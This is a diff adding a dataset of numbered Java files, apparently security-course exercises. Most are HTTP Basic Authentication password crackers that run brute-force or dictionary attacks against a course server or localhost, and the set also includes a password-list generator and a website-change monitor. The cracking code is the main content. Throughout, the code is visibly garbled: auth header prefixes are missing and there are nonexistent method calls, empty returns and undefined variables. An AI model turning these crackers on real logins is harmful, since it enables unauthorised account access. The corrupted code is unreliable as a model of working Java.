+               s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +
+                    (String.valueOf((char)(a[1] + i1))).toUpperCase() +
+                    (String.valueOf((char)(a[2] + i2))).toUpperCase();
+               decision(s1);
+               count++;
+
+               s1 = (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase() +
+                    String.valueOf((char)(a[2] + i2));
+               decision(s1);
+               count++;
+
+               s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +
+		            String.valueOf((char)(a[2] + i2));
+               decision(s1);
+               count++;
+
+               s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +
+                    (String.valueOf((char)(a[2] + i2))).toUpperCase();
+               decision(s1);
+               count++;
+
+               s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +
+                    (String.valueOf((char)(a[1] + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2));
+               decision(s1);
+               count++;
+            }
+         }
+      }
+   }
+   
+   public void twoLetters()
+   {
+      String s1;
+      char [] a = {'a','a'};
+
+      for (int i0 = 0; i0 < 26; i0++)
+      {
+         for (int i1 = 0; i1 < 26; i1++)
+         {
+            s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1));
+            decision(s1);
+            count++;
+
+            s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)).toUpperCase();
+            decision(s1);
+            count++;
+
+            s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +
+                 (String.valueOf((char)(a[1] + i1))).toUpperCase();
+            decision(s1);
+            count++;
+
+            s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1));
+            decision(s1);
+            count++;
+         }
+      }
+   }
+
+   
+   public void decision(String s1)
+   {
+      if (find(s1) == 200)
+      {
+         stopTime = System.currentTimeMillis();
+          runTime = stopTime - startTime;
+         System.out.println(""***************************************"");
+         System.out.println(""\nAttack successfully"");
+         System.out.println(""\nPassword is: "" + s1);
+         System.out.println(""\nThe contents of the Web site: "");
+         displayContent(s1);
+         System.out.println(""\nTime taken  crack: "" + runTime + "" millisecond"");
+         System.out.println(""\nNumber of attempts: "" + count);
+         System.out.println();
+
+         System.exit(0);
+      }
+   }
+   
+   
+   public int find(String s1)
+   {
+      int responseCode = 0;
+      try
+      {
+         url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+         connection = (HttpURLConnection)url.openConnection();
+
+         connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + s1));
+
+         responseCode = connection.getResponseCode();
+
+      }catch (Exception e)
+      {
+          System.out.println(e.getMessage());
+      }
+      return responseCode;
+   }
+
+   
+   public void displayContent(String pw)
+   {
+      BufferedReader bw = null ;
+      try
+      {
+         url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+         connection = (HttpURLConnection)url.openConnection();
+
+         connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + pw));
+         InputStream stream = (InputStream)(connection.getContent());
+         if (stream != null)
+         {
+             InputStreamReader reader = new InputStreamReader (stream);
+             bw = new BufferedReader (reader);
+             String line;
+
+             while ((line = bw.readLine()) != null)
+             {
+                System.out.println(line);
+             }
+        }
+      }
+      catch (IOException e)
+      {
+         System.out.println(e.getMessage());
+      }
+   }
+}
+
+
+
+
+"
+086.java,"import java.net.*;
+import java.io.*;
+import java.*;
+
+ public class BruteForce {
+
+   URLConnection conn = null;
+   private static boolean status = false;
+
+   public static void main (String args[]){
+     BruteForce a = new BruteForce();
+     String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"",
+     				 """",
+     				 """"};
+     int attempts = 0;
+     exit:
+     for (int i=0;i<pwdArray.length;i++) {
+		 for (int j=0;j<pwdArray.length;j++) {
+			 for (int k=0;k<pwdArray.length;k++) {
+				 if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;
+				 if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;
+				 inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];
+				 attempts++;
+     			 a.doit(inp);
+  
+  				 if (status) {
+					 System.out.println(""Crrect password is: "" + inp[2]);
+					 System.out.println(""Number of attempts = "" + attempts);
+					 break exit;
+			 	 }
+     			 inp[2] = """";
+		 	 }
+	 	 }
+      }
+     }
+
+   public void doit(String args[]) {
+     
+     try {
+       BufferedReader in = new BufferedReader(
+           new InputStreamReader
+              (connectURL(new URL(args[0]), args[1], args[2])));
+       String line;
+       while ((line = in.readLine()) != null) {
+           System.out.println(line);
+           status = true;
+           }
+       }
+     catch (IOException e) {
+   
+       }
+     }
+
+   public InputStream connectURL (URL url, String uname, String pword)
+        throws IOException  {
+     conn = url.openConnection();
+     conn.setRequestProperty (""Authorization"",
+     userNamePasswordBase64(uname,pword));
+     conn.connect ();
+     return conn.getInputStream();
+     }
+
+   public String userNamePasswordBase64(String username, String password) {
+     return "" "" + base64Encode (username + "":"" + password);
+     }
+
+   private final static char pwdArray [] = {
+	        'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
+	        'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
+	        'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
+	        'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',
+	        'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
+	        'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
+	        'W', 'X', 'Y', 'Z', ' '
+  };
+
+   private final static char base64Array [] = {
+       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
+       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
+       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
+       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
+       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
+       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
+       'w', 'x', 'y', 'z', '0', '1', '2', '3',
+       '4', '5', '6', '7', '8', '9', '+', '/'
+  };
+
+   private static String base64Encode (String string)    {
+     String encodedString = """";
+     byte bytes [] = string.getBytes ();
+     int i = 0;
+     int pad = 0;
+     while (i < bytes.length) {
+       byte b1 = bytes [i++];
+       byte b2;
+       byte b3;
+       if (i >= bytes.length) {
+          b2 = 0;
+          b3 = 0;
+          pad = 2;
+          }
+       else {
+          b2 = bytes [i++];
+          if (i >= bytes.length) {
+             b3 = 0;
+             pad = 1;
+             }
+          else
+             b3 = bytes [i++];
+          }
+       byte c1 = (byte)(b1 >> 2);
+       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
+       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
+       byte c4 = (byte)(b3 & 0x3f);
+       encodedString += base64Array [c1];
+       encodedString += base64Array [c2];
+       switch (pad) {
+        case 0:
+          encodedString += base64Array [c3];
+          encodedString += base64Array [c4];
+          break;
+         case 1:
+          encodedString += base64Array [c3];
+          encodedString += ""="";
+          break;
+        case 2:
+          encodedString += ""=="";
+          break;
+        }
+       }
+       return encodedString;
+   }
+ }
+
+"
+067.java,"import java.*;
+import java.io.*;
+public class C
+{
+    public static void main (String [] args){
+    try{
+        
+        int m=0,n=0,w=0;
+        String file = ""passwd."";
+        char ch1='A',ch2='A',ch3='A';
+        for(int i = 0 ; i < 26; i++ )
+        {
+          for(w=0;w<2;w++)
+          {
+           if (w==1)
+            i+=32;
+           for(int j = 0; j< 26 ; j++)
+           {
+            for(n=0;n<2;n++)
+            {
+              if(n==1)
+                j+=32;
+            for(int k = 0; k<26 ; k++)
+               {
+                 for(m=0; m<2; m++)
+                 {
+                   if(m==1)
+                    k+=32;
+                    char data[] = {(char)(i+ch1), (char)(j+ch2), (char)(k+ch3)};
+                    String str = new String(data);
+                    System.out.println(str);
+                    FileWriter fr1 = new FileWriter(file,true);
+                    BufferedWriter in1 = new BufferedWriter(fr1);
+                    in1.write(str);
+                    in1.newLine();
+                    in1.print();
+                   if (k>=31)
+                       k-=32;
+                     }
+                }
+             if(j>=31)
+              j=j-32;
+              }
+           }
+           if(i>=31)
+              i-=32;
+              }
+        }
+}
+catch(IOException e)
+{
+  System.out.println(""try"");
+}
+}
+}
+"
+163.java,"package java.httputils;
+
+import java.io.BufferedOutputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.net.MalformedURLException;
+import java.sql.Timestamp;
+import java.util.Observable;
+
+public class BruteForce extends Observable
+{
+    
+    protected Timestamp start;
+    protected Timestamp end;
+    protected String URL = ""http://localhost:8080/secret/index.html"";
+    protected String userName = """";
+    protected String content = """";
+    protected int attempts = 0;
+    protected String password;
+    protected String fileName;
+
+    public static final char[] letters =
+        {
+            'a',
+            'b',
+            'c',
+            'd',
+            'e',
+            'f',
+            'g',
+            'h',
+            'i',
+            'j',
+            'k',
+            'l',
+            'm',
+            'n',
+            'o',
+            'p',
+            'q',
+            'r',
+            's',
+            't',
+            'u',
+            'v',
+            'w',
+            'x',
+            'y',
+            'z',
+            'A',
+            'B',
+            'C',
+            'D',
+            'E',
+            'F',
+            'G',
+            'H',
+            'I',
+            'J',
+            'K',
+            'L',
+            'M',
+            'N',
+            'O',
+            'P',
+            'Q',
+            'R',
+            'S',
+            'T',
+            'U',
+            'V',
+            'W',
+            'X',
+            'Y',
+            'Z',
+            ' '};
+    
+    public BruteForce()
+    {
+    }
+
+    
+    public void process()
+    {
+        StringBuffer password = new StringBuffer(""aaa"");
+        
+        setStart(new Timestamp(System.currentTimeMillis()));
+
+        for (int i = 0;
+            i < letters.length - 1;
+            password.setCharAt(0, letters[i]), i++)
+        {
+            for (int i2 = 0;
+                i2 < letters.length;
+                password.setCharAt(1, letters[i2]), i2++)
+            {
+                for (int i3 = 0;
+                    i3 < letters.length;
+                    password.setCharAt(2, letters[i3]), i3++)
+                {
+                    try
+                    {
+                        attempts++;
+
+                        BasicAuthHttpRequest req =
+                            new BasicAuthHttpRequest(
+                                getURL(),
+                                getUserName(),
+                                password.toString().trim());
+                        setPassword(password.toString());
+                        setEnd(new Timestamp(System.currentTimeMillis()));
+                        setContent(req.getContent().toString());
+
+                        
+                        if (getFileName() != null && getFileName().length() > 0)
+                        {
+                            createReport();
+                        }
+                        return;
+                    }
+                    catch (MalformedURLException e)
+                    {
+                        e.printStackTrace();
+                        return;
+                    }
+                    catch (IOException e)
+                    {
+
+                    }
+                }
+            }
+        }
+
+        
+        setEnd(new Timestamp(System.currentTimeMillis()));
+
+
+    }
+
+    
+    public void createReport()
+    {
+        OutputStream os = null;
+        try
+        {
+            os = new BufferedOutputStream(
+                     new FileOutputStream(getFileName(), false));
+            os.write(printResult().getBytes());
+        }
+        catch (FileNotFoundException e)
+        {
+            e.printStackTrace();
+        }
+        catch (IOException e)
+        {
+            e.printStackTrace();
+        }
+        finally
+        {
+            if (os != null)
+            {
+                try
+                {
+                    os.close();
+                }
+                catch (IOException e)
+                {
+                }
+            }
+        }
+    }
+
+    
+    public String printResult()
+    {
+        StringBuffer s = new StringBuffer();
+
+        s.append(""** "" + this.getClass().getName() + "" Results **\n\n"");
+        s.append(""Password: "" + getPassword() + ""\n\n"");
+
+        s.append(""Attempts : "" + attempts + ""\n\n"");
+
+        s.append(
+            ""Time (seconds): ""
+                + (getEnd().getTime() - getStart().getTime()) / 1000
+                + ""\n\n"");
+        s.append(""Content: \n"" + getContent() + ""\n\n"");
+
+        return s.toString();
+    }
+
+    public String printUsage()
+    {
+        StringBuffer s = new StringBuffer();
+
+        s.append(""** BruteForce proper usage **\n\n"");
+        s.append(
+            ""java ..httputils.BruteForce <URL> <UserName> <OutputFile - Optional>\n\n"");
+
+        return s.toString();
+    }
+
+    public static void main(String[] args)
+    {
+        BruteForce bruteForce = new BruteForce();
+
+        if (args.length < 2)
+        {
+            System.out.println(bruteForce.printUsage());
+        }
+        else
+        {
+            bruteForce.setURL(args[0]);
+            bruteForce.setUserName(args[1]);
+            if (args.length > 2)
+            {
+                bruteForce.setFileName(args[2]);
+            }
+            bruteForce.process();
+            System.out.println(bruteForce.printResult());
+        }
+    }
+
+    
+
+    
+    public Timestamp getEnd()
+    {
+        return end;
+    }
+
+    
+    public Timestamp getStart()
+    {
+        return ;
+    }
+
+    
+    public void setEnd(Timestamp timestamp)
+    {
+        end = timestamp;
+    }
+
+    
+    public void setStart(Timestamp timestamp)
+    {
+       time  = timestamp;
+    }
+
+    
+    public String getURL()
+    {
+        return URL;
+    }
+
+    
+    public void setURL(String string)
+    {
+        URL = string;
+    }
+
+    
+    public String getUserName()
+    {
+        return userName;
+    }
+
+    
+    public void setUserName(String string)
+    {
+        userName = string;
+    }
+
+    
+    public String getContent()
+    {
+        return content;
+    }
+
+    
+    public void setContent(String string)
+    {
+        content = string;
+    }
+
+    
+    public String getPassword()
+    {
+        return password;
+    }
+
+    
+    public void setPassword(String string)
+    {
+        password = string;
+    }
+
+    
+    public String getFileName()
+    {
+        return fileName;
+    }
+
+    
+    public void setFileName(String string)
+    {
+        fileName = string;
+    }
+
+}
+"
+006.java,"
+
+
+import java.io.*;
+import java.util.*;
+import java.*;
+import java.net.*;
+
+public class WatchDog
+{
+
+   static Process p = null;
+   static Process qproc = null;
+
+   static BufferedReader bf = null;
+   static StringTokenizer tok = null;
+
+   static String Path = null;
+   static String str = null;
+   static String urlStr=null;
+   static boolean changed = false;
+
+   static File indexfile = new File(""index.html"");
+   static File tmpfile = new File(""tmpindex.html"");
+   static File mdfile = new File(""md5file.txt"");
+   static File tmpmdfile = new File(""tmpmd5file.txt"");
+   static PrintWriter mailwriter = null;
+
+
+   public static void main (String[] args) 
+   {
+
+      urlStr = ""http://www.cs.rmit.edu./"";
+
+      try
+      {
+         
+         mailwriter = new PrintWriter(new BufferedWriter(new FileWriter(""tomail.txt"", false)));
+
+         getLatest(urlStr);
+         parseFile(); 
+
+         mailwriter.read();
+
+         if(changed)
+         {
+            System.out.println(""Sending Mail"");
+            p = Runtime.getRuntime().exec(""./mailscript"");
+            p.waitFor();
+
+         }
+         else
+            System.out.println("" mail sent"");
+
+      }  catch (IOException ioe)
+         {
+            System.out.println(""IOException"");
+            ioe.printStackTrace();
+         }
+         catch (InterruptedException intex)
+         {
+            System.out.println(""Interrupted Exception"");
+            intex.printStackTrace();
+         }
+
+
+   }
+
+
+   static void getLatest(String urlStr)
+   { 
+      
+      URL url = null;
+      
+      try
+      {
+         url = new URL(urlStr);
+
+      } catch (MalformedURLException mfurl)
+        {
+           System.out.println(""Malformed URL"");
+           mfurl.printStackTrace();
+        }
+
+      try
+      {
+         mailwriter.println();
+
+         p = Runtime.getRuntime().exec(""/usr//pwd""); 
+         p.waitFor();
+         bf= new BufferedReader(new InputStreamReader(
+                          p.getInputStream()));
+
+         Path=bf.readLine();
+
+         if (indexfile.exists())
+         {
+            mailwriter.println(""File with name 'index.html' found in directory."");
+            mailwriter.println(""Renaming existing 'index.html'  'tmpindex.html..."");
+            p = Runtime.getRuntime().exec(""/usr//mv ""+indexfile+ "" "" + Path+""/""+tmpfile);
+            p.waitFor();
+            p = Runtime.getRuntime().exec(""/usr//mv ""+mdfile+ "" "" + Path+""/""+tmpmdfile);
+            mailwriter.println();
+            mailwriter.println(""File with name 'md5file.txt' found in directory."");
+            mailwriter.print(""Renaming existing 'md5file.txt'  'tmpmd5file.txt..."");
+
+            mailwriter.println(""."");
+
+            mailwriter.println();
+         }
+
+         mailwriter.println(""Downloading current version of site - "" + urlStr);
+         p = Runtime.getRuntime().exec(""/usr/local//wget ""+url);
+         p.waitFor();
+         if (!tmpfile.exists())
+         {
+            mailwriter.println(""File - "" + urlStr + ""index.html saved  disk for the first time."");
+         }
+
+
+      } catch (IOException ioe)
+        {
+           System.out.println(""IOException"");
+           ioe.printStackTrace();
+        }
+        catch (IndexOutOfBoundsException iobe)
+        {
+           System.out.println(""Index Out Of Bounds Exception"");
+           iobe.printStackTrace();
+        }
+        catch (Exception e)
+        {
+           System.out.println(""Exception"");
+           e.printStackTrace();
+        }
+   }
+
+   static void parseFile()
+   {
+
+      Vector imgVect = new Vector();
+
+      try
+      {
+         p = Runtime.getRuntime().exec(""/usr//grep img "" + Path + ""/""+ indexfile);
+         p.waitFor();
+        bf = new BufferedReader(new InputStreamReader(
+                          p.getInputStream()));
+
+         while((str=bf.readLine())!=null)
+         {
+            bf = new StringTokenizer(str, ""\"""", false);
+          
+            while(bf.hasMoreTokens())
+            {
+               str=bf.nextToken();
+               if ((str.indexOf(""gif"") > 0) || (str.indexOf(""jpg"") > 0))
+                  imgVect.addElement(str);
+            }
+           
+         }
+
+      }catch (IOException ioe)
+        {
+           System.out.println(""IOException"");
+           ioe.printStackTrace();
+        }
+        catch (Exception e)
+        {
+           System.out.println(""Exception"");
+           e.printStackTrace();
+        }
+
+        mailwriter.println(""Creating file with md5sums of the webpage and images..."");
+        md5Create(imgVect);
+
+   }
+
+   static void md5Create(Vector imgVect)
+   {
+      String tmpString = null;
+      Vector imgNames = new Vector();
+
+      try
+      {
+         PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false)));
+ 
+         p=Runtime.getRuntime().exec(""/usr/local//md5sum ""+indexfile);
+         p.waitFor();
+         bf= new BufferedReader(new InputStreamReader(
+                          p.getInputStream()));
+         pr.println(bf.readLine());
+   
+         for(int i=0; i<imgVect.size();i++)
+         {
+            imgNames.insertElementAt((getImgNames((String)imgVect.elementAt(i))), i);
+            imgVect.setElementAt((getFullPath((String)imgVect.elementAt(i))), i);
+
+            p=Runtime.getRuntime().exec(""/usr/local//md5sum ""+(String)imgNames.elementAt(i));
+            p.waitFor();
+            bf= new BufferedReader(new InputStreamReader(
+                          p.getInputStream()));
+            pr.println(bf.readLine());
+            rmImgFile(Path+""/""+(String)imgNames.elementAt(i));
+         }
+         pr.get();
+
+      }  catch (IOException ioe)
+         {
+            System.out.println(""IOException"");
+            ioe.printStackTrace();
+         }
+         catch (InterruptedException intex)
+         {
+            System.out.println(""Interrupted Exception"");
+            intex.printStackTrace();
+         }
+
+      if (tmpmdfile.exists())
+         compVersions((imgVect.size())+1);
+
+   }
+
+   static void compVersions(int numlines)
+   {
+
+      int tmp = 0;
+      int x = 0;
+      String[] md5A = new String[numlines];
+      Vector tmpmd5V = new Vector(); 
+                                     
+                                     
+      String[] tmpmd5A = null;
+      StringTokenizer stoken  = null;
+      String mdImgName = null;
+      String mdImgVal = null;
+      String tmpImgName = null;
+      String tmpImgVal = null;
+
+      try
+      {
+
+         bf = new BufferedReader(new FileReader(mdfile));
+
+         while((str = bf.readLine()) != null)
+         {
+            md5A[tmp]=str;
+            tmp++;
+         }
+
+         bf = new BufferedReader(new FileReader(tmpmdfile));
+         tmp=0;
+
+         while ((str = bf.readLine()) !=null)
+         {
+            tmpmd5V.addElement(str);
+            tmp++;
+         }
+
+         tmpmd5A = (String[])tmpmd5V.toArray(new String[tmpmd5V.size()]);   
+
+         if (tmpmd5A[0].compareTo(md5A[0]) != 0)
+         {
+            mailwriter.println(""---The file index.html has changed.---"");
+            mailwriter.println(""-Diff of old and new -"");
+            changed=true;
+            mailwriter.println();
+            p=Runtime.getRuntime().exec(""/usr/local//diff index.html tmpindex.html"");
+            p.waitFor();
+             bf= new BufferedReader(new InputStreamReader(p.getInputStream()));
+
+            while ((str = bf.readLine()) != null)
+               mailwriter.println(str);
+
+         }
+         else
+         {
+            mailwriter.println(""The file index.html hasn't changed."");
+            mailwriter.println();
+         }
+
+         mailwriter.println();
+         mailwriter.println(""Changes  Images"");
+         mailwriter.println(""-----------------"");
+
+
+         
+
+         for (tmp=1; tmp<md5A.length; tmp++) 
+         {
+            stoken = new StringTokenizer(md5A[tmp]);
+            mdImgVal = stoken.nextToken();
+            mdImgName = stoken.nextToken();
+            for (x=1; x<tmpmd5A.length; x++)
+            {
+               stoken = new StringTokenizer(tmpmd5A[x]);
+               tmpImgVal = stoken.nextToken();
+               tmpImgName = stoken.nextToken();
+
+               if (mdImgName.compareTo(tmpImgName) == 0)
+               {
+                  if(mdImgVal.compareTo(tmpImgVal) == 0)
+                  {
+                     
+                     break;
+                  }
+                  else
+                  {
+                     mailwriter.println(""The image ""+mdImgName+"" has changed."");
+                     changed=true;
+                     break;
+                  }
+               }
+               if (x == ((tmpmd5A.length)-1))
+               {
+                  mailwriter.println(""The image ""+mdImgName+"" is  new  this "");
+                  changed=true;
+               }
+            }
+         }
+
+         for (tmp=1; tmp<tmpmd5A.length; tmp++) 
+         {
+            stoken = new StringTokenizer(tmpmd5A[tmp]);
+            tmpImgVal = stoken.nextToken();
+            tmpImgName = stoken.nextToken();
+            for (x=1; x<md5A.length; x++)
+            {
+               stoken = new StringTokenizer(md5A[x]);
+               mdImgVal = stoken.nextToken();
+               mdImgName = stoken.nextToken();
+               if (tmpImgName.compareTo(mdImgName) == 0)
+               {
+                  break;
+               }
+               if (x == ((md5A.length)-1))
+               {
+                  mailwriter.println(""The image ""+tmpImgName+"" is   longer  the "");
+                  changed=true;
+               }
+            }
+         }
+
+
+      } catch(IOException ioe)
+         {System.out.println(""IOException"");
+          ioe.printStackTrace();
+         }
+        catch(InterruptedException iex)
+         {System.out.println(""Interrupted Exception"");
+         iex.printStackTrace();
+         }
+
+   }
+
+
+   static Object getFullPath(String fname)
+   {
+      
+
+      if(fname.charAt(0)== '/') 
+         fname=urlStr+fname;  
+      else if(fname.charAt(0) != 'h')
+         fname=urlStr+'/'+fname;
+
+      getImgFile(fname);
+
+      return (Object)fname; 
+   }
+
+   static void getImgFile(String fullPath)
+   {
+      
+
+      try
+      {
+         qproc=Runtime.getRuntime().exec(""/usr/local//wget ""+fullPath);
+         qproc.waitFor();
+
+      } catch (IOException ioe)
+        {
+           System.out.println(""IOException"");
+           ioe.printStackTrace();
+        }
+        catch (InterruptedException intex)
+        {
+           System.out.println(""Interrupted Exception"");
+           intex.printStackTrace();
+        }
+   }
+
+   static void rmImgFile(String delpath)
+   {
+      
+
+      try
+      {
+         qproc=Runtime.getRuntime().exec(""/usr//rm ""+ delpath);
+         qproc.waitFor();
+
+      } catch (IOException ioe)
+        {
+           System.out.println(""IOException"");
+           ioe.printStackTrace();
+        }
+        catch (InterruptedException intex)
+        {
+           System.out.println(""Interrupted Exception"");
+           intex.printStackTrace();
+        }
+   
+   }
+
+   static Object getImgNames(String prsName)
+   {
+          
+  
+      String str = new StringTokenizer(prsName, ""/"", false);
+
+      while(str.hasMoreTokens())
+      {
+         str=bgf.nextToken();
+         if ((str.indexOf(""gif"") > 0) || (str.indexOf(""jpg"") > 0))
+            prsName=str;
+      }
+      return (Object)prsName;
+   }
+}
+"
+038.java,"
+public class CrackingConstants 
+{
+
+    
+    public static final int quietMode = 0;
+    public static final  int verboseMode1 = 1;
+    public static final int  verboseMode2 = 2;
+    
+    
+    public static final int simpleScan = 0;
+    public static final int casedScan = 1;
+    
+    
+    public static final int notFound = -1;
+
+   
+    
+    
+    
+    
+    
+    public static final String [] lowerChars = {""a"", ""e"", ""i"", ""o"", ""u"", ""y"", 
+                                                ""b"", ""c"",""d"", ""f"", ""g"", ""h"", 
+                                                ""j"", ""k"", ""l"", ""m"", ""n"", ""p"", 
+                                                ""q"", ""r"", ""s"", ""t"", ""v"", ""w"", 
+                                                ""x"", ""z"", ""0"", ""1"", ""2"", ""3"",
+                                                ""4"", ""5"", ""6"", ""7"", ""8"", ""9"",
+                                                ""\'"", ""`"", ""."", "","", ""!"", ""\"""",
+                                                ""&"" };          
+                                                        
+    public static final String [] upperChars = {""A"", ""E"", ""I"", ""O"", ""U"", ""Y"", 
+                                                ""B"", ""C"", ""D"", ""F"", ""G"", ""H"", 
+                                                ""J"", ""K"", ""L"", ""M"", ""N"", ""P"", 
+                                                ""Q"", ""R"", ""S"", ""T"", ""V"", ""W"", 
+                                                ""X"", ""Z"", ""0"", ""1"", ""2"", ""3"",
+                                                ""4"", ""5"", ""6"", ""7"", ""8"", ""9"",                              
+                                                ""\'"", ""`"", ""."", "","", ""!"", ""\"""",
+                                                ""&"" };          
+                                                
+	
+    public static final int punctuationUpperBound = 42;
+    public static final int punctuationLowerBound = 36;
+    public static final int numbersUpperBound = 35;
+    public static final int numbersLowerBound = 26;
+    public static final int consonantUpperBound = 25;
+    public static final int consonantLowerBound = 6;
+    public static final int vowelUpperBound = 5;
+    public static final int vowelLowerBound = 0;
+
+	
+    public static int findIndex(char letter, int lowerSearchBound, int upperSearchBound)
+    {
+        if(lowerChars.length < upperSearchBound)
+           upperSearchBound = lowerChars.length;
+            
+        if(0 > lowerSearchBound)
+           lowerSearchBound = 0;
+
+        for(int i = lowerSearchBound; i < upperSearchBound; i++)
+	    {
+	        
+	        
+            if(lowerChars[i].indexOf(letter) > -1) 
+                return i;
+            if(upperChars[i].indexOf(letter) > -1) 
+                return i;
+        }
+        return notFound;
+    } 
+    
+} "
+221.java,"
+
+import java.io.*;
+import java.text.*;
+import java.util.*;
+import java.net.*;
+
+public class BruteForce extends Thread
+{
+   private static final String USERNAME = """";
+   private static final char [] POSSIBLE_CHAR =
+        {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
+         'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
+         'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
+         'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
+   private static int NUMBER_OF_THREAD = 500;
+
+   private static Date startDate = null;
+   private static Date endDate = null;
+
+   private String address;
+   private String password;
+
+   public BruteForce(String address, String password)
+   {
+      this.address = address;
+      this.password = password;
+   }
+
+   public static void main(String[] args) throws IOException
+   {
+      if (args.length < 1)
+      {
+         System.err.println(""Invalid usage!"");
+         System.err.println(""Usage: java BruteForce <url>"");
+         System.exit(1);
+      }
+
+      try
+      {
+         brute(args[0], USERNAME);
+      }
+      catch(Exception e)
+      {
+         e.printStackTrace();
+         System.exit(1);
+      }
+   }
+
+   public static void brute(String address, String user)
+   {
+      BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD];
+      int index = 0;
+
+      startDate = new Date();
+      for(int i = 0; i < POSSIBLE_CHAR.length; i++)
+      {
+         for(int j = 0; j < POSSIBLE_CHAR.length; j++)
+         {
+            for(int k = 0; k < POSSIBLE_CHAR.length; k++)
+            {
+               String password = """"+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+
+                                 POSSIBLE_CHAR[k];
+
+               if (threads[index] != null && threads[index].isAlive())
+               {
+                  try
+                  {
+                     threads[index].join();
+                  }
+                  catch(InterruptedException e ) {}
+               }
+               threads[index] = new BruteForce(address, password);
+               threads[index].get();
+
+               index = (index++) % threads.length;
+            }
+         }
+      }
+   }
+
+   public void run()
+   {
+      if (endDate != null)
+         return;
+
+      try
+      {
+
+         URLConnection conn = (new URL(address)).openConnection();
+         conn.setDoInput(true);
+
+         if (login(conn, USERNAME, password))
+         {
+            endDate = new Date();
+            System.out.println(""Found the password: \""""+password+""\""!"");
+            SimpleDateFormat format = new SimpleDateFormat(""dd/MM/yyyy HH:mm:"");
+            System.out.println(""Process started at: ""+format.format(startDate));
+            System.out.println(""Process started at: ""+format.format(endDate));
+            double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000;
+            System.out.println(""Time taken: ""+timeTaken+"" minutes"");
+            System.exit(0);
+         }
+         else
+         {
+            System.out.println(""Password: \""""+password+""\"" Failed!"");
+            return;
+         }
+      }
+      catch(Exception e)
+      {
+         e.printStackTrace();
+      }
+
+   }
+
+   public static boolean login(URLConnection conn, String user, String pass)
+   {
+      try
+      {
+         String encodeAuth = "" ""+Base64Encoder.encode(user+"":""+pass);
+         conn.setRequestProperty (""Authorization"", encodeAuth);
+         conn.connect();
+         conn.getInputStream();
+      }
+      catch(Exception e)
+      {
+         return false;
+      }
+      return true;
+   }
+}
+
+
+"
+180.java,"import java.io.*;
+import java.net.*;
+import java.util.*;
+
+
+public class Dictionary
+{
+	public static void main (String args[])
+	{
+		
+		
+        Calendar cal = Calendar.getInstance();
+        Date now=cal.getTime();
+        double startTime = now.getTime();
+
+		String password=getPassword(startTime);
+		System.out.println(""The password is "" + password);
+	}
+
+	public static String getPassword(double startTime)
+	{
+		String password="""";
+		int requests=0;
+
+		try
+		{
+			
+			FileReader fRead = new FileReader(""/usr/share/lib/dict/words"");
+			BufferedReader buf = new BufferedReader(fRead);
+
+			password=buf.readLine();
+
+			while (password != null)
+			{
+				
+				if (password.length()<=3)
+				{
+					requests++;
+					if (testPassword(password, startTime, requests))
+						return password;
+				}
+
+				password = buf.readLine();
+
+			}
+		}
+		catch (IOException ioe)
+		{
+
+		}
+
+		return password;
+	}
+
+	private static boolean testPassword(String password, double startTime, int requests)
+	{
+		try
+		{
+			
+			
+			URL url=new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+
+			HttpURLConnection connection;
+
+    		String userPassword =  "":"" + password;
+
+    		
+    		String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
+
+			try
+			{
+				
+				connection = (HttpURLConnection) url.openConnection();
+				
+				connection.setRequestProperty(""Authorization"", "" "" + encoding);
+
+				
+				int status=connection.getResponseCode();
+
+				System.out.println(password + requests);
+
+				if (status==200)
+				{
+					System.out.println(""It took "" + getTime(startTime) + "" milliseconds  find the password."");
+					System.out.println("" were "" + requests + "" requests ."");
+
+					return true;
+				}
+
+				return false;
+
+			}
+
+			catch (IOException ioe)
+			{
+				System.out.print(ioe);
+				return false;
+			}
+
+		}
+
